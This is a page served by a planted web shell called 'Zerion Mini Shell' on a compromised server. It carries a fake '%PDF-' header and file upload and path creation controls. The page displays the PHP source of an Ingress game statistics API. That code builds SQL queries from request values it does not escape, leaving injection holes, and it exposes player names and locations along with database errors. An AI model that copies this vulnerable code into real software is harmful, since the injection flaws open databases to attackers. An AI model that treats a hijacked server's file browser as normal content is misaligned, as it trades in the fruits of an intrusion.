%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/www_bck/varak.net_bck/ingress.varak.net/api/
Upload File :
Create Path :
Current File : //data/www_bck/varak.net_bck/ingress.varak.net/api/actionsApi.php

<?php
	ob_start();
	
	function cmp($a, $b)
	{
	    if ($a->ap == $b->ap) {
	        return 0;
	    }
	    return ($a->ap > $b->ap) ? -1 : 1;
	}
	function verifyCity($city)
	{
		if($city == 'Brno' || $city == 'Kromeriz' || $city == 'Bratislava')
			return $city;
		return 'Brno';
	}
	function getRangeStart($range)
	{
		switch($range)
		{
			case 'day':
			{
				return time()-3600*24;
			}
			case '2day':
			{
				return time() - 3600 * 48;
			}
			case 'week':
			{
				return time() - 3600 * 24 * 7;
			}
			case 'month':
			{
				return time() - 3600 * 24 * 30;
			}
			case 'all':
			{
				return 0;
			}
			case 'hour':
			{
				return time() - 3600;
			}

			default:
			{
				return 0;
			}
		}
	}
	function getPlayerResonatorDeploy($pid, $name, $side, $starttime = 0, $endtime = 0, $range = '')
	{
		global $city;
		$end = $start = "";
		if($range != '')
		{
			$starttime = getRangeStart($range);
			$endtime = 0;
		}
		if($starttime != 0)
		{
			$start = "AND `when` >= ".mysql_real_escape_string($starttime);
		}
		if($endtime != 0)
		{
			$end = "AND `when` <= ".mysql_real_escape_string($endtime);
		}
		$query = "select distinct level, count(level) as `count` from actions where who=".mysql_real_escape_string($pid)." and action='resonator_create' AND city='$city' $start $end group by level order by level asc";
		$res = mysql_query($query);
		if(!$res || mysql_num_rows($res) == 0) return false;
		$play = new stdClass();
		$play->name = $name;
		$play->side = $side;
		$play->resonators = array();
		$sum = 0;
		while($r = mysql_fetch_object($res))
		{
			$play->resonators[] = $r;
			$sum += $r->count;
		}
		$total = new stdClass();
		$total->level = 'Total';
		$total->count = $sum;
		$play->resonators[] = $total;
		return $play;
	}
	function getPlayerResonatorDestroy($pid, $name, $side, $starttime = 0, $endtime = 0, $range = '')
	{
		global $city;
		$end = $start = "";
		if($range != '')
		{
			$starttime = getRangeStart($range);
			$endtime = 0;
		}
		if($starttime != 0)
		{
			$start = "AND `when` >= ".mysql_real_escape_string($starttime);
		}
		if($endtime != 0)
		{
			$end = "AND `when` <= $endtime";
		}
		$query = "select distinct level, count(level) as `count` from actions where who=".mysql_real_escape_string($pid)." and action='resonator_destroy' AND city='$city' $start $end group by level order by level asc";
		$res = mysql_query($query);
		if(!$res || mysql_num_rows($res) == 0) return false;
		$play = new stdClass();
		$play->name = $name;
		$play->side = $side;
		$play->resonators = array();
		$sum = 0;
		while($r = mysql_fetch_object($res))
		{
			$play->resonators[] = $r;
			$sum += $r->count;
		}
		$total = new stdClass();
		$total->level = 'Total';
		$total->count = $sum;
		$play->resonators[] = $total;
		return $play;
	}
	function getPlayerAPDetails($pid, $start = 0, $range = '')
	{
		global $city;
		$start = mysql_real_escape_string($start);
		if($range != '')
		{
			$start = getRangeStart($range);
		}
		$out = new stdClass();
		$sum = 0;
		$res = mysql_query("select sum(ap) as created from actions where action in ('resonator_create', 'link_create', 'capture', 'field_create') AND `when` >= $start AND city='$city' AND who=".$pid);
		if($r = mysql_fetch_object($res))
		{
			$out->created = (int)$r->created;
			$sum += $r->created;
		}
		else
		{
			$out->created = 0;
		}
		$res = mysql_query("select sum(ap) as destroyed from actions where action in ('resonator_destroy', 'link_destroy', 'field_destroy') AND `when` >= $start AND city='$city' AND who=".$pid);
		if($r = mysql_fetch_object($res))
		{
			$out->destroyed = (int)$r->destroyed;
			$sum += $r->destroyed;
		}
		else
		{
			$out->destroyed = 0;
		}
		$out->total = $sum;
		$out->details = new stdClass();
		// Funny details :D
		$res = mysql_query("select * from (select distinct action, sum(ap) as ap from actions where who=$pid and `when` > $start AND city='$city' group by action) as act right join (SELECT DISTINCT action FROM  `actions`) as actlist on act.action=actlist.action");
		print_r(mysql_error());
		while($r = mysql_fetch_object($res))
		{
			if($r->ap)
			{
				$out->details->{$r->action} = $r->ap;
			}
			else
			{
				$out->details->{$r->action} = 0;
			}
		}

		return $out;
	}

	require("config.php");
	header("Content-type: text/plain");
	$spojeni = mysql_connect($srv, $usr, $pwd);
	mysql_select_db($dbname, $spojeni);
	$city = 'Brno';
	if(isset($_GET['city']))
	{
		$city = verifyCity($_GET['city']);
	}
	while(true)
	{
		if($_GET['action'] == 'player_ap_week')
		{
			$res = mysql_query("select name, ap, side from (select distinct `actions`.`who` AS `player`,sum(`actions`.`ap`) AS `ap` from `actions` where (`actions`.`when` >= (unix_timestamp() - ((3600 * 24) * 7))) AND city='$city' group by `actions`.`who`) as player_ap_week join players on player_ap_week.player=players.id order by ap desc");
			$out = array();
			while($r = mysql_fetch_object($res))
			{
				$out[] = $r;
			}
		}
		if($_GET['action'] == 'player_ap_overall' && (isset($_GET['start']) || isset($_GET['range'])))
		{
			if(isset($_GET['start']))
			{
				$start = mysql_real_escape_string($_GET['start']);
			}
			if(isset($_GET['end']))
			{
				$end = "AND `when` <= ".mysql_real_escape_string($_GET['end']);
			}
			if(isset($_GET['range']))
			{
				$start = getRangeStart($_GET['range']);
			}
			$res = mysql_query("SELECT action, who, ap, `name`, side FROM ( SELECT action, who, ap FROM ( SELECT DISTINCT action, who, sum(ap) AS ap FROM actions WHERE `when` > $start $end AND city='$city' GROUP BY who, action ) AS act ORDER BY who ) AS ap_details JOIN players ON players.id = ap_details.who");
			$out = array();
			$helper = array();
			while($r = mysql_fetch_object($res))
			{
				if(!isset($helper[$r->who]))
				{
					$helper[$r->who] = new stdClass();
					$helper[$r->who]->name = $r->name;
					$helper[$r->who]->side = $r->side;
					$helper[$r->who]->ap = 0;
					$helper[$r->who]->create = 0;
					$helper[$r->who]->destroy = 0;
					$helper[$r->who]->details = new stdClass();
					$helper[$r->who]->details->resonator_destroy = 0;
					$helper[$r->who]->details->field_destroy = 0;
					$helper[$r->who]->details->link_destroy = 0;
					$helper[$r->who]->details->resonator_create = 0;
					$helper[$r->who]->details->field_create = 0;
					$helper[$r->who]->details->link_create = 0;
					$helper[$r->who]->details->capture = 0;	
				}
				$helper[$r->who]->ap += $r->ap;
				if($r->action == 'resonator_destroy' || $r->action == 'field_destroy' || $r->action == 'link_destroy')
				{
					$helper[$r->who]->destroy += $r->ap;
				}
				if($r->action == 'resonator_create' || $r->action == 'field_create' || $r->action == 'link_create' || $r->action == 'capture')
				{
					$helper[$r->who]->create += $r->ap;
				}
				$helper[$r->who]->details->{$r->action} = $r->ap;
			}
			foreach($helper as $h)
			{
				$out[] = $h;
			}
			usort($out, 'cmp');
			break;
		}
		if($_GET['action'] == 'player_ap' && (isset($_GET['start']) || isset($_GET['range'])) && isset($_GET['name']))
		{
			$player = mysql_query("select id from players where name like '".mysql_real_escape_string($_GET['name'])."'");
			if($player != false && mysql_num_rows($player) > 0)
			{
				if($pl = mysql_fetch_object($player))
				{
					if(isset($_GET['start']))
					{
						$out = getPlayerAPDetails($pl->id, $_GET['start']);
					}
					elseif(isset($_GET['range']))
					{
						$out = getPlayerAPDetails($pl->id, 0, $_GET['range']);
					}
				}
			}
			break;
		}
		if($_GET['action'] == 'player_max_level')	
		{
			$res = mysql_query("SELECT `name`, `level`, `side`, `when` FROM (select distinct `actions`.`who` AS `player`,max(`actions`.`level`) AS `level`, max(`actions`.`when`) as `when` from `actions` where (`actions`.`action` = 'resonator_create') group by `actions`.`who`) as `player_max_level` JOIN players ON player_max_level.player = players.id order by level desc, name");
			$out = array();
			while($r = mysql_fetch_object($res))
			{
				$out[] = $r;
			}
			break;
		}
		if($_GET['action'] == 'player_resonator_deploy')
		{
			$starttime = 0;
			$endtime = 0;
			$range = '';
			if(isset($_GET['start']))
			{
				$starttime = $_GET['start'];
			}
			if(isset($_GET['end']))
			{
				$endtime = $_GET['end'];
			}
			if(isset($_GET['range']))
			{
				$range = $_GET['range'];
			}
			if((isset($_GET['all']) && $_GET['all'] == "true") || !isset($_GET['name']))
			{
				$players = mysql_query("select distinct who, name, side from actions where city='$city' join players on actions.who = players.id order by name");
				$out = array();
				while($pl = mysql_fetch_object($players))
				{
					$play = getPlayerResonatorDeploy($pl->who, $pl->name, $pl->side, $starttime, $endtime, $range);
					if($play != false)
					{
						$out[] = $play;
					}
				}
			}
			elseif(isset($_GET['name']))
			{
				$player = mysql_query("select id, name, side from players where name like '".mysql_real_escape_string($_GET['name'])."'");
				if($player != false && mysql_num_rows($player) > 0)
				{
					if($pl = mysql_fetch_object($player))
					{
						$play = getPlayerResonatorDeploy($pl->id, $pl->name, $pl->side, $starttime, $endtime, $range);
						if($play != false)
						{
							$out = $play;
						}
					}
				}
			}
			break;
		}
		if($_GET['action'] == 'player_resonator_destroy')
		{
			$starttime = 0;
			$endtime = 0;
			$range = '';
			if(isset($_GET['start']))
			{
				$starttime = $_GET['start'];
			}
			if(isset($_GET['end']))
			{
				$endtime = $_GET['end'];
			}
			if(isset($_GET['range']))
			{
				$range = $_GET['range'];
			}
			if((isset($_GET['all']) && $_GET['all'] == "true") || !isset($_GET['name']))
			{
				$players = mysql_query("select distinct who, name, side from actions where city='$city' join players on actions.who = players.id order by name");
				$out = array();
				while($pl = mysql_fetch_object($players))
				{
					$play = getPlayerResonatorDestroy($pl->who, $pl->name, $pl->side, $starttime, $endtime, $range);
					if($play != false)
					{
						$out[] = $play;
					}
				}
			}
			elseif(isset($_GET['name']))
			{
				$player = mysql_query("select id, name, side from players where name like '".mysql_real_escape_string($_GET['name'])."'");
				if($player != false && mysql_num_rows($player) > 0)
				{
					if($pl = mysql_fetch_object($player))
					{
						$play = getPlayerResonatorDestroy($pl->id, $pl->name, $pl->side, $starttime, $endtime, $range);
						if($play != false)
						{
							$out = $play;
						}
					}
				}
			}
			break;
		}
		if($_GET['action'] == 'player_last_actions' && (isset($_GET['start']) || isset($_GET['range'])) && isset($_GET['name']))
		{
			if(isset($_GET['start']))
			{
				$start = mysql_real_escape_string($_GET['start']);
			}
			elseif (isset($_GET['range'])) 
			{
				$start = getRangeStart($_GET['range']);
			}
			$out = array();
			$player = mysql_query("select id from players where name like '".mysql_real_escape_string($_GET['name'])."'");
			if($pl = mysql_fetch_object($player))
			{
				$res = mysql_query("select players.`name`, `action`, `when`, `level`, `ap`, `latitude`, `longitude` from actions join players on players.id=actions.who where `who`=".$pl->id." AND `when` >= $start AND city='$city' order by `when` desc");
				while($r = mysql_fetch_object($res))
				{
					$out[] = $r;
				}
			}
			break;
		}
		break;
	}
	echo json_encode($out, JSON_PRETTY_PRINT);
	mysql_close($spojeni);
	$ret = ob_get_clean();

	// Gzip/Deflate/Bzip2 compression
	if(stristr($_SERVER["HTTP_ACCEPT_ENCODING"], "bzip2"))
	{
		$ret = bzcompress($ret, 9);
		header("Content-Encoding: bzip2");
	}
    elseif(stristr($_SERVER["HTTP_ACCEPT_ENCODING"], "gzip"))
	{
		$ret = gzencode($ret, 9);
		header("Content-Encoding: gzip");
	}
	elseif (stristr($_SERVER["HTTP_ACCEPT_ENCODING"], "deflate")) 
	{
		$ret = gzdeflate($ret, 9);
		header("Content-Encoding: deflate");
	}

	header("Content-length: ".strlen($ret));
	echo $ret;
?>

Zerion Mini Shell 1.0